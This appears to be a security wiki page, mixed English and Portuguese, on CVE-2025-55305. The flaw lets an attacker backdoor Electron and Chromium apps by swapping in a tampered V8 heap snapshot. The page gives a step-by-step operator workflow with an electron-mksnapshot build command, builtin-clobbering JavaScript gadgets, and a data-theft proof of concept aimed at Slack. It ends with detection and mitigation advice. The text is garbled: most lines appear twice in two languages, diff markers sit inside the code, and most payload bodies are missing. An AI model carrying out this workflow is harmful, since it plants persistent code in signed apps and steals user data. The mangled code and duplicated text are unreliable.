## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
## Backdoor local via manipulação do snapshot do heap V8 (Electron/Chromium) – CVE-2025-55305
Aplicativos baseados em Electron e Chromium desserializam um V8 heap snapshot prebuilt na inicialização (v8_context_snapshot.bin, e opcionalmente browser_v8_context_snapshot.bin) para inicializar cada V8 isolate (main, preload, renderer). Historicamente, os integrity fuses do Electron não tratavam esses snapshots como conteúdo executável, então eles escapavam tanto da aplicação de integridade baseada em fuses quanto das verificações de OS code-signing. Como resultado, substituir o snapshot em uma instalação gravável pelo usuário permitia execução stealthy e persistente de código dentro do app sem modificar os binários assinados ou o ASAR.
Apps baseados em Electron e Chromium desserializam um snapshot prebuilt do heap V8 na inicialização (v8_context_snapshot.bin, e opcionalmente browser_v8_context_snapshot.bin) para inicializar cada V8 isolate (main, preload, renderer). Historicamente, os fuses de integridade do Electron não tratavam esses snapshots como conteúdo executável, então eles escapavam tanto da enforcement baseada em fuses quanto das verificações de code-signing do SO. Como resultado, substituir o snapshot em uma instalação gravável pelo usuário permitia execução de código persistente e furtiva dentro do app sem modificar os binários assinados ou o ASAR.
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validam o JavaScript do app dentro do ASAR, mas não cobriam V8 heap snapshots (CVE-2025-55305). O Chromium de forma semelhante não faz integrity-check dos snapshots.
- Attack preconditions: Escrita local de arquivo no diretório de instalação do app. Isso é comum em sistemas onde Electron apps ou Chromium browsers são instalados em caminhos graváveis pelo usuário (e.g., %AppData%\Local no Windows; /Applications com ressalvas no macOS).
- Effect: Execução confiável de attacker JavaScript em qualquer isolate ao sobrescrever um builtin frequentemente usado (um “gadget”), habilitando persistence e evasão da verificação de code-signing.
- Affected surface: Electron apps (mesmo com fuses habilitados) e Chromium-based browsers que carregam snapshots de locais graváveis pelo usuário.
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validam o JavaScript do app dentro do ASAR, mas não cobriam snapshots do heap V8 (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
- Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
Generating a malicious snapshot without building Chromium
- Use the prebuilt electron/mksnapshot para compilar um payload JS em um snapshot e sobrescrever o v8_context_snapshot.bin da aplicação.
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
Example minimal payload (prove execution by forcing a crash)
```js
@ -485,11 +485,11 @@ Array.isArray = function () {
throw new Error("testing isArray gadget");
};
```
Roteamento de payload ciente do isolate (executar código diferente no main vs. renderer)
- Detecção do main process: Node-only globals como process.pid, process.binding(), ou process.dlopen estão presentes no main process isolate.
- Detecção Browser/renderer: Browser-only globals como alert estão disponíveis quando executando em um contexto de documento.
Isolate-aware payload routing (run different code in main vs. renderer)
- Detecção do processo main: variáveis globais exclusivas do Node como process.pid, process.binding(), ou process.dlopen estão presentes no isolate do processo main.
- Detecção de Browser/renderer: variáveis globais exclusivas do Browser como alert estão disponíveis quando executado em um contexto de documento.
Exemplo de gadget que sonda as capacidades Node do main process uma vez
Exemplo de gadget que sonda as capacidades do Node no processo main uma vez
```js
const orig = Array.isArray;
@ -518,7 +518,7 @@ process.exit(0);
return orig(...arguments);
};
```
PoC de roubo de dados no renderer/contexto do navegador (por exemplo, Slack)
Renderer/browser-context PoC de roubo de dados (por exemplo, Slack)
```js
const orig = Array.isArray;
Array.isArray = function() {
@ -543,30 +543,26 @@ return orig(...arguments);
};
```
Fluxo de trabalho do operador
1) Escreva payload.js que sobrescreve um builtin comum (por exemplo, Array.isArray) e, opcionalmente, ramifica por isolate.
2) Build the snapshot without Chromium sources:
1) Escreva payload.js que sobrescreve um builtin comum (por exemplo, Array.isArray) e opcionalmente ramifica por isolate.
2) Construa o snapshot sem os fontes do Chromium:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) Overwrite the target application’s snapshot file(s):
- v8_context_snapshot.bin (always used)
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
4) Launch the application; the gadget executes whenever the chosen builtin is used.
3) Substitua o(s) arquivo(s) de snapshot da aplicação alvo:
- v8_context_snapshot.bin (sempre utilizado)
- browser_v8_context_snapshot.bin (se o fuse LoadBrowserProcessSpecificV8Snapshot estiver em uso)
4) Inicie o aplicativo; o gadget executa sempre que o builtin escolhido for usado.
Notas e considerações
- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls.
- Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app.
- Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model.
- Bypass de integridade/assinatura: Os arquivos de snapshot não são tratados como executáveis nativos pelas verificações de code-signing e (historicamente) não eram cobertos pelos fuses do Electron ou pelos controles de integridade do Chromium.
- Persistência: Substituir o snapshot em uma instalação gravável pelo usuário normalmente sobrevive a reinicializações do app e parece um app legítimo e assinado.
- Chromium browsers: O mesmo conceito de adulteração se aplica ao Chrome/derivados instalados em locais graváveis pelo usuário. Chrome tem outras mitigações de integridade, mas exclui explicitamente ataques fisicamente locais do seu modelo de ameaça.
Detecção e mitigação
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
- Trate snapshots como conteúdo executável e inclua-os na aplicação de integridade (CVE-2025-55305 fix).
- Prefira locais de instalação graváveis apenas por admin; estabeleça linha de base e monitore hashes para v8_context_snapshot.bin e browser_v8_context_snapshot.bin.
- Detecte sobrescritas de builtin em runtime inicial e alterações inesperadas de snapshot; alerte quando snapshots desserializados não corresponderem aos valores esperados.
## **References**
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)